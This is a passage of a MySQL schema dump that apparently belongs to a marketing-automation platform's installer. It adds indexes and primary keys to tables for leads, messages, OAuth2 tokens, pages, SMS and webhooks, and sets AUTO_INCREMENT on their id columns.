-- Indexes for table `[[dbprefix]]lead_tags`
--
ALTER TABLE `[[dbprefix]]lead_tags`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]lead_tag_search` (`tag`);

--
-- Indexes for table `[[dbprefix]]lead_tags_xref`
--
ALTER TABLE `[[dbprefix]]lead_tags_xref`
  ADD PRIMARY KEY (`lead_id`,`tag_id`),
  ADD KEY `IDX_5C1F8599BAD26311` (`tag_id`);

--
-- Indexes for table `[[dbprefix]]lead_utmtags`
--
ALTER TABLE `[[dbprefix]]lead_utmtags`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_8024B13755458D` (`lead_id`),
  ADD KEY `[[dbprefix]]utm_date_added` (`date_added`);

--
-- Indexes for table `[[dbprefix]]messages`
--
ALTER TABLE `[[dbprefix]]messages`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_26A4A9D012469DE2` (`category_id`),
  ADD KEY `[[dbprefix]]date_message_added` (`date_added`);

--
-- Indexes for table `[[dbprefix]]message_channels`
--
ALTER TABLE `[[dbprefix]]message_channels`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `[[dbprefix]]channel_index` (`message_id`,`channel`),
  ADD KEY `IDX_8FF3FAFC537A1329` (`message_id`),
  ADD KEY `[[dbprefix]]channel_entity_index` (`channel`,`channel_id`),
  ADD KEY `[[dbprefix]]channel_enabled_index` (`channel`,`is_enabled`);

--
-- Indexes for table `[[dbprefix]]message_projects_xref`
--
ALTER TABLE `[[dbprefix]]message_projects_xref`
  ADD PRIMARY KEY (`message_id`,`project_id`),
  ADD KEY `IDX_F236C351166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]message_queue`
--
ALTER TABLE `[[dbprefix]]message_queue`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_ABAAE56071F7E88B` (`event_id`),
  ADD KEY `IDX_ABAAE56055458D` (`lead_id`),
  ADD KEY `[[dbprefix]]message_status_search` (`status`),
  ADD KEY `[[dbprefix]]message_date_sent` (`date_sent`),
  ADD KEY `[[dbprefix]]message_scheduled_date` (`scheduled_date`),
  ADD KEY `[[dbprefix]]message_priority` (`priority`),
  ADD KEY `[[dbprefix]]message_success` (`success`),
  ADD KEY `[[dbprefix]]message_channel_search` (`channel`,`channel_id`),
  ADD KEY `[[dbprefix]]message_queue_date_published` (`date_published`);

--
-- Indexes for table `[[dbprefix]]monitoring`
--
ALTER TABLE `[[dbprefix]]monitoring`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_4969A45712469DE2` (`category_id`);

--
-- Indexes for table `[[dbprefix]]monitoring_leads`
--
ALTER TABLE `[[dbprefix]]monitoring_leads`
  ADD PRIMARY KEY (`monitor_id`,`lead_id`),
  ADD KEY `IDX_30E1A61155458D` (`lead_id`);

--
-- Indexes for table `[[dbprefix]]monitor_post_count`
--
ALTER TABLE `[[dbprefix]]monitor_post_count`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_35864F6B4CE1C902` (`monitor_id`);

--
-- Indexes for table `[[dbprefix]]notifications`
--
ALTER TABLE `[[dbprefix]]notifications`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_4BF1D53BA76ED395` (`user_id`),
  ADD KEY `[[dbprefix]]notification_read_status` (`is_read`),
  ADD KEY `[[dbprefix]]notification_type` (`type`),
  ADD KEY `[[dbprefix]]notification_user_read_status` (`is_read`,`user_id`),
  ADD KEY `[[dbprefix]]deduplicate_date_added` (`deduplicate`,`date_added`);

--
-- Indexes for table `[[dbprefix]]oauth2_accesstokens`
--
ALTER TABLE `[[dbprefix]]oauth2_accesstokens`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_9B1F734B5F37A13B` (`token`),
  ADD KEY `IDX_9B1F734B19EB6921` (`client_id`),
  ADD KEY `IDX_9B1F734BA76ED395` (`user_id`),
  ADD KEY `[[dbprefix]]oauth2_access_token_search` (`token`);

--
-- Indexes for table `[[dbprefix]]oauth2_authcodes`
--
ALTER TABLE `[[dbprefix]]oauth2_authcodes`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_A77558205F37A13B` (`token`),
  ADD KEY `IDX_A775582019EB6921` (`client_id`),
  ADD KEY `IDX_A7755820A76ED395` (`user_id`);

--
-- Indexes for table `[[dbprefix]]oauth2_clients`
--
ALTER TABLE `[[dbprefix]]oauth2_clients`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_572AB1C9D60322AC` (`role_id`),
  ADD KEY `[[dbprefix]]client_id_search` (`random_id`);

--
-- Indexes for table `[[dbprefix]]oauth2_refreshtokens`
--
ALTER TABLE `[[dbprefix]]oauth2_refreshtokens`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_589D7C505F37A13B` (`token`),
  ADD KEY `IDX_589D7C5019EB6921` (`client_id`),
  ADD KEY `IDX_589D7C50A76ED395` (`user_id`),
  ADD KEY `[[dbprefix]]oauth2_refresh_token_search` (`token`);

--
-- Indexes for table `[[dbprefix]]oauth2_user_client_xref`
--
ALTER TABLE `[[dbprefix]]oauth2_user_client_xref`
  ADD PRIMARY KEY (`client_id`,`user_id`),
  ADD KEY `IDX_D659B4CFA76ED395` (`user_id`);

--
-- Indexes for table `[[dbprefix]]pages`
--
ALTER TABLE `[[dbprefix]]pages`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_39AA9B4912469DE2` (`category_id`),
  ADD KEY `IDX_39AA9B499091A2FB` (`translation_parent_id`),
  ADD KEY `IDX_39AA9B4991861123` (`variant_parent_id`),
  ADD KEY `[[dbprefix]]page_alias_search` (`alias`);

--
-- Indexes for table `[[dbprefix]]pages_draft`
--
ALTER TABLE `[[dbprefix]]pages_draft`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_4BA910D3C4663E4` (`page_id`);

--
-- Indexes for table `[[dbprefix]]page_hits`
--
ALTER TABLE `[[dbprefix]]page_hits`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_20932E3C4663E4` (`page_id`),
  ADD KEY `IDX_20932E3B42D874D` (`redirect_id`),
  ADD KEY `IDX_20932E3A832C1C9` (`email_id`),
  ADD KEY `IDX_20932E355458D` (`lead_id`),
  ADD KEY `IDX_20932E3A03F5E9F` (`ip_id`),
  ADD KEY `IDX_20932E394A4C7D4` (`device_id`),
  ADD KEY `[[dbprefix]]page_hit_tracking_search` (`tracking_id`),
  ADD KEY `[[dbprefix]]page_hit_code_search` (`code`),
  ADD KEY `[[dbprefix]]page_hit_source_search` (`source`,`source_id`),
  ADD KEY `[[dbprefix]]date_hit_left_index` (`date_hit`,`date_left`),
  ADD KEY `[[dbprefix]]page_hit_url` (`url`(128));

--
-- Indexes for table `[[dbprefix]]page_projects_xref`
--
ALTER TABLE `[[dbprefix]]page_projects_xref`
  ADD PRIMARY KEY (`page_id`,`project_id`),
  ADD KEY `IDX_1D0F138C166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]page_redirects`
--
ALTER TABLE `[[dbprefix]]page_redirects`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `[[dbprefix]]permissions`
--
ALTER TABLE `[[dbprefix]]permissions`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `[[dbprefix]]unique_perm` (`bundle`,`name`,`role_id`),
  ADD KEY `IDX_CDCB0342D60322AC` (`role_id`);

--
-- Indexes for table `[[dbprefix]]plugins`
--
ALTER TABLE `[[dbprefix]]plugins`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `[[dbprefix]]unique_bundle` (`bundle`);

--
-- Indexes for table `[[dbprefix]]plugin_integration_settings`
--
ALTER TABLE `[[dbprefix]]plugin_integration_settings`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_C1A491B8EC942BCF` (`plugin_id`);

--
-- Indexes for table `[[dbprefix]]points`
--
ALTER TABLE `[[dbprefix]]points`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_8CC2CD012469DE2` (`category_id`),
  ADD KEY `IDX_8CC2CD0FE54D947` (`group_id`),
  ADD KEY `[[dbprefix]]point_type_search` (`type`);

--
-- Indexes for table `[[dbprefix]]point_groups`
--
ALTER TABLE `[[dbprefix]]point_groups`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `[[dbprefix]]point_group_contact_score`
--
ALTER TABLE `[[dbprefix]]point_group_contact_score`
  ADD PRIMARY KEY (`contact_id`,`group_id`),
  ADD KEY `IDX_DB513B6FE54D947` (`group_id`);

--
-- Indexes for table `[[dbprefix]]point_lead_action_log`
--
ALTER TABLE `[[dbprefix]]point_lead_action_log`
  ADD PRIMARY KEY (`point_id`,`lead_id`),
  ADD KEY `IDX_8C9DC36955458D` (`lead_id`),
  ADD KEY `IDX_8C9DC369A03F5E9F` (`ip_id`);

--
-- Indexes for table `[[dbprefix]]point_lead_event_log`
--
ALTER TABLE `[[dbprefix]]point_lead_event_log`
  ADD PRIMARY KEY (`event_id`,`lead_id`),
  ADD KEY `IDX_A8B29AF155458D` (`lead_id`),
  ADD KEY `IDX_A8B29AF1A03F5E9F` (`ip_id`);

--
-- Indexes for table `[[dbprefix]]point_projects_xref`
--
ALTER TABLE `[[dbprefix]]point_projects_xref`
  ADD PRIMARY KEY (`point_id`,`project_id`),
  ADD KEY `IDX_B1D19FBF166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]point_triggers`
--
ALTER TABLE `[[dbprefix]]point_triggers`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_3251480012469DE2` (`category_id`),
  ADD KEY `IDX_32514800FE54D947` (`group_id`);

--
-- Indexes for table `[[dbprefix]]point_trigger_events`
--
ALTER TABLE `[[dbprefix]]point_trigger_events`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_67474E135FDDDCD6` (`trigger_id`),
  ADD KEY `[[dbprefix]]trigger_type_search` (`type`);

--
-- Indexes for table `[[dbprefix]]point_trigger_projects_xref`
--
ALTER TABLE `[[dbprefix]]point_trigger_projects_xref`
  ADD PRIMARY KEY (`point_trigger_id`,`project_id`),
  ADD KEY `IDX_5E37740C166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]projects`
--
ALTER TABLE `[[dbprefix]]projects`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `[[dbprefix]]unique_project_name` (`name`);

--
-- Indexes for table `[[dbprefix]]push_ids`
--
ALTER TABLE `[[dbprefix]]push_ids`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_B28524AE55458D` (`lead_id`);

--
-- Indexes for table `[[dbprefix]]push_notifications`
--
ALTER TABLE `[[dbprefix]]push_notifications`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_8DB111EE12469DE2` (`category_id`),
  ADD KEY `IDX_8DB111EE9091A2FB` (`translation_parent_id`);

--
-- Indexes for table `[[dbprefix]]push_notification_list_xref`
--
ALTER TABLE `[[dbprefix]]push_notification_list_xref`
  ADD PRIMARY KEY (`notification_id`,`leadlist_id`),
  ADD KEY `IDX_1287A4B7B9FC8874` (`leadlist_id`);

--
-- Indexes for table `[[dbprefix]]push_notification_stats`
--
ALTER TABLE `[[dbprefix]]push_notification_stats`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_12D99982EF1A9D84` (`notification_id`),
  ADD KEY `IDX_12D9998255458D` (`lead_id`),
  ADD KEY `IDX_12D999823DAE168B` (`list_id`),
  ADD KEY `IDX_12D99982A03F5E9F` (`ip_id`),
  ADD KEY `[[dbprefix]]stat_notification_search` (`notification_id`,`lead_id`),
  ADD KEY `[[dbprefix]]stat_notification_clicked_search` (`is_clicked`),
  ADD KEY `[[dbprefix]]stat_notification_hash_search` (`tracking_hash`),
  ADD KEY `[[dbprefix]]stat_notification_source_search` (`source`,`source_id`);

--
-- Indexes for table `[[dbprefix]]reports`
--
ALTER TABLE `[[dbprefix]]reports`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `[[dbprefix]]reports_schedulers`
--
ALTER TABLE `[[dbprefix]]reports_schedulers`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_1166C9194BD2A4C0` (`report_id`);

--
-- Indexes for table `[[dbprefix]]roles`
--
ALTER TABLE `[[dbprefix]]roles`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `[[dbprefix]]saml_id_entry`
--
ALTER TABLE `[[dbprefix]]saml_id_entry`
  ADD PRIMARY KEY (`id`,`entity_id`);

--
-- Indexes for table `[[dbprefix]]sms_messages`
--
ALTER TABLE `[[dbprefix]]sms_messages`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_F8CB452D12469DE2` (`category_id`),
  ADD KEY `IDX_F8CB452D9091A2FB` (`translation_parent_id`);

--
-- Indexes for table `[[dbprefix]]sms_message_list_xref`
--
ALTER TABLE `[[dbprefix]]sms_message_list_xref`
  ADD PRIMARY KEY (`sms_id`,`leadlist_id`),
  ADD KEY `IDX_51567511B9FC8874` (`leadlist_id`);

--
-- Indexes for table `[[dbprefix]]sms_message_stats`
--
ALTER TABLE `[[dbprefix]]sms_message_stats`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_F32DF349BD5C7E60` (`sms_id`),
  ADD KEY `IDX_F32DF34955458D` (`lead_id`),
  ADD KEY `IDX_F32DF3493DAE168B` (`list_id`),
  ADD KEY `IDX_F32DF349A03F5E9F` (`ip_id`),
  ADD KEY `[[dbprefix]]stat_sms_search` (`sms_id`,`lead_id`),
  ADD KEY `[[dbprefix]]stat_sms_hash_search` (`tracking_hash`),
  ADD KEY `[[dbprefix]]stat_sms_source_search` (`source`,`source_id`),
  ADD KEY `[[dbprefix]]stat_sms_failed_search` (`is_failed`);

--
-- Indexes for table `[[dbprefix]]sms_projects_xref`
--
ALTER TABLE `[[dbprefix]]sms_projects_xref`
  ADD PRIMARY KEY (`sms_id`,`project_id`),
  ADD KEY `IDX_133671E166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]stages`
--
ALTER TABLE `[[dbprefix]]stages`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_D4C89D12469DE2` (`category_id`);

--
-- Indexes for table `[[dbprefix]]stage_lead_action_log`
--
ALTER TABLE `[[dbprefix]]stage_lead_action_log`
  ADD PRIMARY KEY (`stage_id`,`lead_id`),
  ADD KEY `IDX_4462268155458D` (`lead_id`),
  ADD KEY `IDX_44622681A03F5E9F` (`ip_id`);

--
-- Indexes for table `[[dbprefix]]stage_projects_xref`
--
ALTER TABLE `[[dbprefix]]stage_projects_xref`
  ADD PRIMARY KEY (`stage_id`,`project_id`),
  ADD KEY `IDX_7013387166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]sync_object_field_change_report`
--
ALTER TABLE `[[dbprefix]]sync_object_field_change_report`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]object_composite_key` (`object_type`,`object_id`,`column_name`),
  ADD KEY `[[dbprefix]]integration_object_composite_key` (`integration`,`object_type`,`object_id`,`column_name`),
  ADD KEY `[[dbprefix]]integration_object_type_modification_composite_key` (`integration`,`object_type`,`modified_at`);

--
-- Indexes for table `[[dbprefix]]sync_object_mapping`
--
ALTER TABLE `[[dbprefix]]sync_object_mapping`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]internal_object_id_idx` (`internal_object_id`),
  ADD KEY `[[dbprefix]]integration_object` (`integration`,`integration_object_name`,`integration_object_id`,`integration_reference_id`),
  ADD KEY `[[dbprefix]]integration_reference` (`integration`,`integration_object_name`,`integration_reference_id`,`integration_object_id`),
  ADD KEY `[[dbprefix]]integration_integration_object_name_last_sync_date` (`integration`,`internal_object_name`,`last_sync_date`),
  ADD KEY `[[dbprefix]]integration_last_sync_date` (`integration`,`last_sync_date`);

--
-- Indexes for table `[[dbprefix]]tweets`
--
ALTER TABLE `[[dbprefix]]tweets`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_854EE2DC12469DE2` (`category_id`),
  ADD KEY `IDX_854EE2DCC4663E4` (`page_id`),
  ADD KEY `IDX_854EE2DC5DA1941` (`asset_id`),
  ADD KEY `[[dbprefix]]sent_count_index` (`sent_count`),
  ADD KEY `[[dbprefix]]favorite_count_index` (`favorite_count`),
  ADD KEY `[[dbprefix]]retweet_count_index` (`retweet_count`);

--
-- Indexes for table `[[dbprefix]]tweet_stats`
--
ALTER TABLE `[[dbprefix]]tweet_stats`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_2BAA75C81041E39B` (`tweet_id`),
  ADD KEY `IDX_2BAA75C855458D` (`lead_id`),
  ADD KEY `[[dbprefix]]stat_tweet_search` (`tweet_id`,`lead_id`),
  ADD KEY `[[dbprefix]]stat_tweet_search2` (`lead_id`,`tweet_id`),
  ADD KEY `[[dbprefix]]stat_tweet_failed_search` (`is_failed`),
  ADD KEY `[[dbprefix]]stat_tweet_source_search` (`source`,`source_id`),
  ADD KEY `[[dbprefix]]favorite_count_index` (`favorite_count`),
  ADD KEY `[[dbprefix]]retweet_count_index` (`retweet_count`),
  ADD KEY `[[dbprefix]]tweet_date_sent` (`date_sent`),
  ADD KEY `[[dbprefix]]twitter_tweet_id_index` (`twitter_tweet_id`);

--
-- Indexes for table `[[dbprefix]]users`
--
ALTER TABLE `[[dbprefix]]users`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_D5DDBD5F85E0677` (`username`),
  ADD UNIQUE KEY `UNIQ_D5DDBD5E7927C74` (`email`),
  ADD KEY `IDX_D5DDBD5D60322AC` (`role_id`);

--
-- Indexes for table `[[dbprefix]]user_tokens`
--
ALTER TABLE `[[dbprefix]]user_tokens`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_2F2EC59E5CA2E8E5` (`secret`),
  ADD KEY `IDX_2F2EC59EA76ED395` (`user_id`);

--
-- Indexes for table `[[dbprefix]]video_hits`
--
ALTER TABLE `[[dbprefix]]video_hits`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_EE3E02FD55458D` (`lead_id`),
  ADD KEY `IDX_EE3E02FDA03F5E9F` (`ip_id`),
  ADD KEY `[[dbprefix]]video_date_hit` (`date_hit`),
  ADD KEY `[[dbprefix]]video_channel_search` (`channel`,`channel_id`),
  ADD KEY `[[dbprefix]]video_guid_lead_search` (`guid`,`lead_id`);

--
-- Indexes for table `[[dbprefix]]webhooks`
--
ALTER TABLE `[[dbprefix]]webhooks`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_642AF89B12469DE2` (`category_id`);

--
-- Indexes for table `[[dbprefix]]webhook_events`
--
ALTER TABLE `[[dbprefix]]webhook_events`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_D42ED5185C9BA60B` (`webhook_id`);

--
-- Indexes for table `[[dbprefix]]webhook_logs`
--
ALTER TABLE `[[dbprefix]]webhook_logs`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_9C29FD5C9BA60B` (`webhook_id`),
  ADD KEY `[[dbprefix]]webhook_id_date_added` (`webhook_id`,`date_added`);

--
-- Indexes for table `[[dbprefix]]webhook_queue`
--
ALTER TABLE `[[dbprefix]]webhook_queue`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_DEDCFFF25C9BA60B` (`webhook_id`),
  ADD KEY `IDX_DEDCFFF271F7E88B` (`event_id`);

--
-- Indexes for table `[[dbprefix]]widgets`
--
ALTER TABLE `[[dbprefix]]widgets`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `[[dbprefix]]assets`
--
ALTER TABLE `[[dbprefix]]assets`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]asset_downloads`
--
ALTER TABLE `[[dbprefix]]asset_downloads`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]audit_log`
--
ALTER TABLE `[[dbprefix]]audit_log`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]bundle_grapesjsbuilder`
--
ALTER TABLE `[[dbprefix]]bundle_grapesjsbuilder`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]campaigns`
--
ALTER TABLE `[[dbprefix]]campaigns`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]campaign_events`
--
ALTER TABLE `[[dbprefix]]campaign_events`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]campaign_lead_event_log`
--
ALTER TABLE `[[dbprefix]]campaign_lead_event_log`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]campaign_summary`
--
ALTER TABLE `[[dbprefix]]campaign_summary`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]categories`
--
ALTER TABLE `[[dbprefix]]categories`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]companies`
--
ALTER TABLE `[[dbprefix]]companies`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]contact_export_scheduler`
--
ALTER TABLE `[[dbprefix]]contact_export_scheduler`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]contact_merge_records`
--
ALTER TABLE `[[dbprefix]]contact_merge_records`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]dynamic_content`
--
ALTER TABLE `[[dbprefix]]dynamic_content`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]dynamic_content_lead_data`
--
ALTER TABLE `[[dbprefix]]dynamic_content_lead_data`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]dynamic_content_stats`
--
ALTER TABLE `[[dbprefix]]dynamic_content_stats`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]emails`
--
ALTER TABLE `[[dbprefix]]emails`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]emails_draft`
--
ALTER TABLE `[[dbprefix]]emails_draft`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]email_stats`
--
ALTER TABLE `[[dbprefix]]email_stats`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]email_stats_devices`
--
ALTER TABLE `[[dbprefix]]email_stats_devices`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]focus`
--
ALTER TABLE `[[dbprefix]]focus`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]focus_stats`
--
ALTER TABLE `[[dbprefix]]focus_stats`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]forms`
--
ALTER TABLE `[[dbprefix]]forms`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]form_actions`
--
ALTER TABLE `[[dbprefix]]form_actions`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]form_fields`
--
ALTER TABLE `[[dbprefix]]form_fields`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]form_submissions`
--
ALTER TABLE `[[dbprefix]]form_submissions`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]imports`
--
ALTER TABLE `[[dbprefix]]imports`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]integration_entity`
--
ALTER TABLE `[[dbprefix]]integration_entity`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]ip_addresses`
--
ALTER TABLE `[[dbprefix]]ip_addresses`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]leads`
--
ALTER TABLE `[[dbprefix]]leads`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_categories`
--
ALTER TABLE `[[dbprefix]]lead_categories`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_companies_change_log`
--
ALTER TABLE `[[dbprefix]]lead_companies_change_log`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_devices`
--
ALTER TABLE `[[dbprefix]]lead_devices`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_donotcontact`
--
ALTER TABLE `[[dbprefix]]lead_donotcontact`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_event_log`
--
ALTER TABLE `[[dbprefix]]lead_event_log`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_fields`
--
ALTER TABLE `[[dbprefix]]lead_fields`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=44;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_frequencyrules`
--
ALTER TABLE `[[dbprefix]]lead_frequencyrules`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_lists`
--
ALTER TABLE `[[dbprefix]]lead_lists`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_notes`
--
ALTER TABLE `[[dbprefix]]lead_notes`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_points_change_log`
--
ALTER TABLE `[[dbprefix]]lead_points_change_log`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_stages_change_log`
--
ALTER TABLE `[[dbprefix]]lead_stages_change_log`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_tags`
--
ALTER TABLE `[[dbprefix]]lead_tags`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]lead_utmtags`
--
ALTER TABLE `[[dbprefix]]lead_utmtags`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]messages`
--
ALTER TABLE `[[dbprefix]]messages`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]message_channels`
--
ALTER TABLE `[[dbprefix]]message_channels`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]message_queue`
--
ALTER TABLE `[[dbprefix]]message_queue`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]monitoring`
--
ALTER TABLE `[[dbprefix]]monitoring`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]monitor_post_count`
--
ALTER TABLE `[[dbprefix]]monitor_post_count`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]notifications`
--
ALTER TABLE `[[dbprefix]]notifications`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]oauth2_accesstokens`
--
ALTER TABLE `[[dbprefix]]oauth2_accesstokens`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]oauth2_authcodes`
--
ALTER TABLE `[[dbprefix]]oauth2_authcodes`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]oauth2_clients`
--
